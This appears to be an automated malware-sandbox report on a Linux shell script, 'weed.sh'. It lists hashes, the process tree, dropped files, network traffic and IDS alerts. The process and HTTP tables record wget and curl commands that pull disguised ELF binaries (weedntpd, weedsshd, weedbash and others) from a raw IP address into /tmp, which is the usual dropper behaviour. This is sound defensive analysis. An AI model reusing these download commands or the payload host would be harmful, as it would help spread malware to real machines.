| File name: | weed.sh |
| Full analysis: | https://app.any.run/tasks/f9a35957-8d5c-46a3-8ed7-c97935fddb25 |
| Verdict: | Malicious activity |
| Analysis date: | April 25, 2025, 17:41:47 |
| OS: | Ubuntu 22.04.2 |
| MIME: | text/x-shellscript |
| File info: | Bourne-Again shell script, ASCII text executable |
| MD5: | 3291C5E6B92389A32B245F7328956895 |
| SHA1: | 74B13F997ABFC116654385C1EB94E5BF40AE9571 |
| SHA256: | 6C374BD321AD36AFB15A64F947C04ECE86A2EACE42F4954B4FA8B7C14F03EF34 |
| SSDEEP: | 48:vOXZODW+O95zfOTxHOfaMOU1Ox5O1jJO3b3ZO4zRO/5O0i0EHOnXn7eXVZ:viSm++vIaCnyJ9EHa37eFZ |
| .sh | | | Linux/UNIX shell script (100) |
|---|
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 39499 | /bin/sh -c "sudo chown user /home/user/Desktop/weed\.sh && chmod +x /home/user/Desktop/weed\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/weed\.sh " | /usr/bin/dash | — | any-guest-agent |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39500 | sudo chown user /home/user/Desktop/weed.sh | /usr/bin/sudo | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39501 | chown user /home/user/Desktop/weed.sh | /usr/bin/chown | — | sudo |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39502 | chmod +x /home/user/Desktop/weed.sh | /usr/bin/chmod | — | dash |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39503 | sudo -iu user /home/user/Desktop/weed.sh | /usr/bin/sudo | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39505 | /bin/bash /home/user/Desktop/weed.sh | /usr/bin/bash | — | sudo |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39506 | /usr/bin/locale-check C.UTF-8 | /usr/bin/locale-check | — | bash |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39507 | wget http://146.19.143.149/weedntpd | /usr/bin/wget | bash | |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39508 | systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service | /usr/bin/systemctl | — | snapd |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39510 | /snap/curl/1754/bin/curl -O http://146.19.143.149/weedntpd | /snap/curl/1754/bin/curl | bash | |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 39507 | wget | /tmp/weedntpd | binary | |
MD5:— | SHA256:— | |||
| 39547 | wget | /tmp/weedsshd | binary | |
MD5:— | SHA256:— | |||
| 39578 | wget | /tmp/weedopenssh | binary | |
MD5:— | SHA256:— | |||
| 39618 | wget | /tmp/weedbash | binary | |
MD5:— | SHA256:— | |||
| 39648 | wget | /tmp/weedtftp | binary | |
MD5:— | SHA256:— | |||
| 39679 | wget | /tmp/weedwget | binary | |
MD5:— | SHA256:— | |||
| 39712 | wget | /tmp/weedcron | binary | |
MD5:— | SHA256:— | |||
| 39741 | wget | /tmp/weedftp | binary | |
MD5:— | SHA256:— | |||
| 39771 | wget | /tmp/weedpftp | binary | |
MD5:— | SHA256:— | |||
| 39801 | wget | /tmp/weedsh | binary | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | POST | 200 | 185.125.188.59:443 | https://api.snapcraft.io/api/v1/snaps/auth/nonces | unknown | — | — | — |
— | — | GET | 204 | 185.125.190.96:80 | http://connectivity-check.ubuntu.com/ | unknown | — | — | whitelisted |
— | — | GET | 204 | 185.125.190.96:80 | http://connectivity-check.ubuntu.com/ | unknown | — | — | whitelisted |
— | — | GET | 204 | 185.125.190.18:80 | http://connectivity-check.ubuntu.com/ | unknown | — | — | whitelisted |
39507 | wget | GET | 200 | 146.19.143.149:80 | http://146.19.143.149/weedntpd | unknown | — | — | unknown |
39510 | curl | GET | 200 | 146.19.143.149:80 | http://146.19.143.149/weedntpd | unknown | — | — | unknown |
39547 | wget | GET | 200 | 146.19.143.149:80 | http://146.19.143.149/weedsshd | unknown | — | — | unknown |
39548 | curl | GET | 200 | 146.19.143.149:80 | http://146.19.143.149/weedsshd | unknown | — | — | unknown |
39578 | wget | GET | 200 | 146.19.143.149:80 | http://146.19.143.149/weedopenssh | unknown | — | — | unknown |
39589 | curl | GET | 200 | 146.19.143.149:80 | http://146.19.143.149/weedopenssh | unknown | — | — | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
484 | avahi-daemon | 224.0.0.251:5353 | — | — | — | unknown |
— | — | 185.125.190.18:80 | connectivity-check.ubuntu.com | Canonical Group Limited | GB | whitelisted |
— | — | 185.125.190.96:80 | connectivity-check.ubuntu.com | Canonical Group Limited | GB | whitelisted |
— | — | 212.102.56.178:443 | odrs.gnome.org | Datacamp Limited | DE | whitelisted |
— | — | 185.125.188.55:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
— | — | 185.125.188.54:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
— | — | 185.125.188.58:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
39507 | wget | 146.19.143.149:80 | — | Scalaxy B.V. | BR | unknown |
39510 | curl | 146.19.143.149:80 | — | Scalaxy B.V. | BR | unknown |
39547 | wget | 146.19.143.149:80 | — | Scalaxy B.V. | BR | unknown |
Domain | IP | Reputation |
|---|---|---|
connectivity-check.ubuntu.com |
| whitelisted |
odrs.gnome.org |
| whitelisted |
api.snapcraft.io |
| whitelisted |
google.com |
| whitelisted |
3.100.168.192.in-addr.arpa |
| unknown |
PID | Process | Class | Message |
|---|---|---|---|
39507 | wget | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
39507 | wget | Potentially Bad Traffic | ET HUNTING Possible ELF executable sent when remote host claims to send a Text File |
39510 | curl | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
39510 | curl | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
39510 | curl | Potentially Bad Traffic | ET HUNTING Possible ELF executable sent when remote host claims to send a Text File |
39547 | wget | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
39547 | wget | Potentially Bad Traffic | ET HUNTING Possible ELF executable sent when remote host claims to send a Text File |
39548 | curl | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
39548 | curl | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
39548 | curl | Potentially Bad Traffic | ET HUNTING Possible ELF executable sent when remote host claims to send a Text File |